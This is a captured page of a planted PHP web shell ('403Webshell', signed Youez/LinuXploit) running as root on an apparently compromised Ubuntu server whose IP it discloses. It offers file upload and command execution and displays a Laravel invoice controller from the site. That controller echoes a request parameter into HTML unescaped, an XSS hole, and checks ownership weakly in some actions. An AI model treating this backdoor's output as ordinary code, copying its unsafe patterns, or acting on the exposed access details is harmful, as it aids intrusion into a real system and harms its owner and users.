403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.216.39
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/app/Http/Controllers/InvoiceControlle2r.php
<?php

namespace App\Http\Controllers;

use App\Models\Invoice;
use App\Models\Product;
use App\Models\Customer;
use App\Models\LineItem;
use App\Exports\InvoiceExport;
use Illuminate\Http\Request;
use Maatwebsite\Excel\Facades\Excel;
use Illuminate\Support\Arr;
use Barryvdh\DomPDF\Facade\Pdf;
use Auth;
use App\Helpers\Helper;

class InvoiceController extends Controller
{
   // use CommonTrait;
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {     
         $cust_ids = Arr::flatten(Auth::user()->customer->toArray());  
         $invoices =    Invoice::whereIn('customer_id',$cust_ids)->where('type',1)->orderBy('invoices.id','desc')->paginate(10);
        //  $invoices = Invoice::leftjoin('line_items as li',,'=','invoices.id')->select('invoices.*','li.price','li.product_id','li.qty')->where(['li.posted_by'=>auth()->user()->id])->orderBy('invoices.id','desc')->paginate(10);
        
        return view('invoices.index', compact('invoices'));
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        $products = Product::where(['status'=>1,'posted_by'=>auth()->user()->id])->where('qty','>',0)->orderBy('name')->get();
        $customers = Customer::where('user_id',auth()->user()->id)->orderBy('firstname')->get();
        return view('invoices.create',compact('products','customers'));
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
       
      //  dd($request->all(),$request->line["product"][0]);
        $this->validate($request,[
            'customer' => 'required|numeric',
            'line.product' => 'required|array',            
            'line.product.*' => 'required',            
            'billing_address' => 'string|max:255',            
            'billing_city' => 'string|max:255',
            'billing_state' => 'string|max:255',
            'billing_country' => 'string|max:255',
            'billing_pin' => 'digits:6',
            'shipping_address' => 'string|max:255',            
            'shipping_city' => 'string|max:255',
            'shipping_state' => 'string|max:255',
            'shipping_country' => 'string|max:255',
            'shipping_pin' => 'digits:6',
        ],['line.product.required'=>'Line item selection is required',
         'line.product.*.required'=>'Line item selection is required',
           ]);
      // dd($d);
        $invoice   = new Invoice;
        $invoice->customer_id  = $request->customer; 
        $invoice->billing_address = $request->billing_address;
        $invoice->billing_city = $request->billing_city;
        $invoice->billing_state = $request->billing_state;
        $invoice->billing_country = $request->billing_country;
        $invoice->billing_pin = $request->billing_pin;
        $invoice->shipping_address = $request->shipping_address;
        $invoice->shipping_city = $request->shipping_city;
        $invoice->shipping_state = $request->shipping_state;
        $invoice->shipping_country = $request->shipping_country;
        $invoice->shipping_pin = $request->shipping_pin;

        if($invoice->save())
        {  $line = $request->line;  $result = false;
          foreach($line['product'] as $key=> $product)
          {
            $item = new LineItem;           
            $item->product_id = $product; 
            $item->price = $line["price"][$key]; 
            $item->qty = $line["qty"][$key];       
            $item->invoice_id = $invoice->id;  
            $item->posted_by  = auth()->user()->id;
            $result =  $item->save();
           $prod = Product::findOrFail($product);
           $qty = $prod->qty - $line["qty"][$key];
           $prod->where('id',$product)->update(['qty'=>$qty]);
           }
           if($result)
           {
            return redirect()->route('invoice.index')->with('success','Invoice Added Successfully!!');
           }
           return redirect()->route('invoice.create')->with('fail','Fail!! To Add Invoice');
        }
       
        
        return redirect()->route('invoice.create')->with('fail','Fail!! To Add Invoice');

    }

    /**
     * Display the specified resource.
     *
     * @param  \App\Models\Invoice  $invoice
     * @return \Illuminate\Http\Response
     */
    public function show($id)
    {
       
        $invoice = Invoice::findOrFail($id);
        $invoice = $invoice->leftjoin('line_items as li','li.invoice_id','=','invoices.id')->select('invoices.*','li.price','li.product_id','li.qty')->where(['li.invoice_id'=>$id,'li.posted_by'=>auth()->user()->id])->first();
        $view_name = @auth()->user()->invoice_template;
        $view_name = !empty($view_name)?$view_name:'invoice1';
        $view = strtok($view_name,'.');
        return view('invoices.'.$view ,compact('invoice'));
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  \App\Models\Invoice  $invoice
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {
        $products = Product::where(['status'=>1,'posted_by'=>auth()->user()->id])->orderBy('name')->get();
        $customers = Customer::where('user_id',auth()->user()->id)->orderBy('firstname')->get();
        $invoice = Invoice::findOrFail($id);
        $invoice = $invoice->leftjoin('line_items as li','li.invoice_id','=','invoices.id')->select('invoices.*','li.price','li.product_id','li.qty')->where(['li.invoice_id'=>$id,'li.posted_by'=>auth()->user()->id])->first();
        $gst = auth()->user()->gst_percent;      
       
        return view('invoices.edit',compact('invoice','products','customers','gst'));
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \App\Models\Invoice  $invoice
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, $id)
    {
        $this->validate($request,[
            'customer' => 'required|numeric',
            'line.product' => 'required|array',
            'line.product.*' => 'required',
            'billing_address' => 'string|max:255',            
            'billing_city' => 'string|max:255',
            'billing_state' => 'string|max:255',
            'billing_country' => 'string|max:255',
            'billing_pin' => 'digits:6',
            'shipping_address' => 'string|max:255',            
            'shipping_city' => 'string|max:255',
            'shipping_state' => 'string|max:255',
            'shipping_country' => 'string|max:255',
            'shipping_pin' => 'digits:6',
        ],['line.product.required'=>'Line item selection is required',
        'line.product.*.required'=>'Line item selection is required',
          ]);
        //dd($request->all());
        $invoice   = Invoice::findOrFail($id);
        $invoice->customer_id  = $request->customer; 
        $invoice->billing_address = $request->billing_address;
        $invoice->billing_city = $request->billing_city;
        $invoice->billing_state = $request->billing_state;
        $invoice->billing_country = $request->billing_country;
        $invoice->billing_pin = $request->billing_pin;
        $invoice->shipping_address = $request->shipping_address;
        $invoice->shipping_city = $request->shipping_city;
        $invoice->shipping_state = $request->shipping_state;
        $invoice->shipping_country = $request->shipping_country;
        $invoice->shipping_pin = $request->shipping_pin;

        if($invoice->save())
        {   
            $oldData = LineItem::where(['invoice_id'=>$id])->get(['id'])->toArray();
            $deleted_items = Arr::flatten($request->line['id']);
            //get product id and quantity to update product
            $data= LineItem::where(['invoice_id'=>$id])->whereNotIn('id',$deleted_items)->get(['product_id','qty']);
            //delete record line items which deleted by user
            LineItem::where(['invoice_id'=>$id])->whereNotIn('id',$deleted_items)->delete();

            if(!is_null($data))
            {
            foreach($data as $d)
            {
                $prod = Product::findOrFail($d->product_id);
                $newQty = $prod->qty+$d->qty;
                $prod->where('id',$d->product_id)->update(['qty'=>$newQty]);
            }
             }
           
           // $item = LineItem::where(['invoice_id'=>$id])->delete();    
                 
            $line = $request->line;  $result = false;
          foreach($line['product'] as $key=> $product)
          {
            if(!empty($line["id"][$key]))
            {
                $item =LineItem::find( $line["id"][$key]); 
                $old_qty =    $item->qty;
                $decrese_qty =  $line["qty"][$key]-$old_qty;      
                $item->product_id = $product; 
                $item->price = $line["price"][$key]; 
                $item->qty = $line["qty"][$key];       
                $item->invoice_id = $invoice->id;  
                $item->posted_by  = auth()->user()->id;
                $result =  $item->save();
                
               $prod = Product::findOrFail($product);
               $qty = $prod->qty - $decrese_qty;
               if($qty<0)
               {
                $qty =  $prod->qty+(int)$qty;
               }
               $prod->where('id',$product)->update(['qty'=>$qty]);
            }
            else{
                $item = new LineItem;          
                $item->product_id = $product; 
                $item->price = $line["price"][$key]; 
                $item->qty = $line["qty"][$key];       
                $item->invoice_id = $invoice->id;  
                $item->posted_by  = auth()->user()->id;
                $result =  $item->save();
                
               $prod = Product::findOrFail($product);
               $qty = $prod->qty - $line["qty"][$key];              
               $prod->where('id',$product)->update(['qty'=>$qty]);
            }
           }
           if($result)   
           {
            return redirect()->route('invoice.index')->with('success','Invoice Updated Successfully!!');
           }
           return redirect()->route('invoice.edit')->with('fail','Fail!! To Update Invoice');
        }
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  \App\Models\Invoice  $invoice
     * @return \Illuminate\Http\Response
     */
    public function destroy(Request $request)
    {
        $id   = trim($request->delete_id);
        $invoice   = Invoice::where('id',$id)->delete();
        if($invoice)
        {
            //product id and qty to update product
            $data   = LineItem::where('invoice_id',$id)->get(['product_id','qty']);
            //delete line items
            $lineItem   = LineItem::where('invoice_id',$id)->delete();

            if(!is_null($data))
            {
                foreach($data as $d)
                {
                    $prod = Product::findOrFail($d->product_id);
                    $newQty = $prod->qty+$d->qty;
                    $prod->where('id',$d->product_id)->update(['qty'=>$newQty]);
                }
             }
           
           
            if($lineItem)
            {
                return redirect()->route('invoice.index')->with('success','Invoice deleted Successfully!!'); 
            }
            return redirect()->route('invoice.index')->with('fail','Fail!! To delete Invoice');
        }
        return redirect()->route('invoice.index')->with('fail','Fail!! To delete Invoice');

    }

     public function export() 
    {
        return Excel::download(new InvoiceExport, 'invoices.xlsx');
    }
    public function getline(){
        $n = $_REQUEST['n'];
        $products = Product::where(['status'=>1,'posted_by'=>auth()->user()->id])->where('qty','>',0)->orderBy('name')->get();
        $str = '<tr> <td><input type="hidden" name="line[id][]" value=""/><select onchange="calculateme('.$n.')" id="line_product_'.$n.'" name="line[product][]" class="form-select line"><option value="">Select Product</option>';
        foreach($products as $p) {
            $str .= '<option value="'.$p->id.'">'.$p->name.'</option>';
        }
        $str .= '</select></td> <td><input onblur="changeqty('.$n.')" id="line_qty_'.$n.'" min="1"  type="number" name="line[qty][]" class="form-control"></td> <td><input type="text" id="line_price_'.$n.'" data-initial-value="" name="line[price][]" class="form-control"></td> <td><input type="hidden" name="line[totalprice][]" id="line_total_price_'.$n.'" data-initial-value="" class="form-control price">
        </td> <td><a href="javascript:void(0)"  class="deleteLine" ><i class="fas fa-trash text-danger fs-2"></i> </a></td> </tr>';
        echo $str;
    }

    public function getprd() {
        $n = $_REQUEST['id'];
        $p = Product::where('id',$n)->first();
        $gst = $p->user->gst_percent;       
        $total = !empty($gst)?Helper::totalPrice($gst,$p->price,1):$p->price;
        $ar = ['id'=>$p->id, 'price'=>$p->price,'qty'=>$p->qty,'gst'=>$gst];
        return response()->json($ar);
    }

    public function getAddress(Request $request)
    {
        $id = $request->customerId;
        $customerAddress = Customer::where('id',$id)->first(['address','city','state','country','pin'])->toArray();       
        return response()->json(compact('customerAddress'),200);
    }
    public function pdfview($id)
    {
      
       $invoice = Invoice::findOrFail($id);
       $invoice = $invoice->leftjoin('line_items as li','li.invoice_id','=','invoices.id')->select('invoices.*','li.price','li.product_id','li.qty')->where(['li.invoice_id'=>$id,'li.posted_by'=>auth()->user()->id])->first();
       $view_name = @auth()->user()->invoice_template;
       $view_name = !empty($view_name)?$view_name:'invoice1';
       $view = strtok($view_name,'.');
      
       $pdf = pdf::loadView('invoices.pdf'.$view, compact('invoice'))->setOptions(['defaultFont' => 'sans-serif']);
     //  return view('invoices.pdf',compact('invoice'));
       return $pdf->stream('invoices.pdf');
    }

    // public function totalPrice($gst,$price,$QTY )
    // {
    //     $price = round($price,2)*$QTY;
    //     $tax=round($price,2)*round(($gst/100),2);
    //     $total=round(($price+$tax),2);
    //     return $total;
    //     //$calculatedTaxRate=(($total-$price)/$price)*100; 
    // }

}

Youez - 2016 - github.com/yon3zu
LinuXploit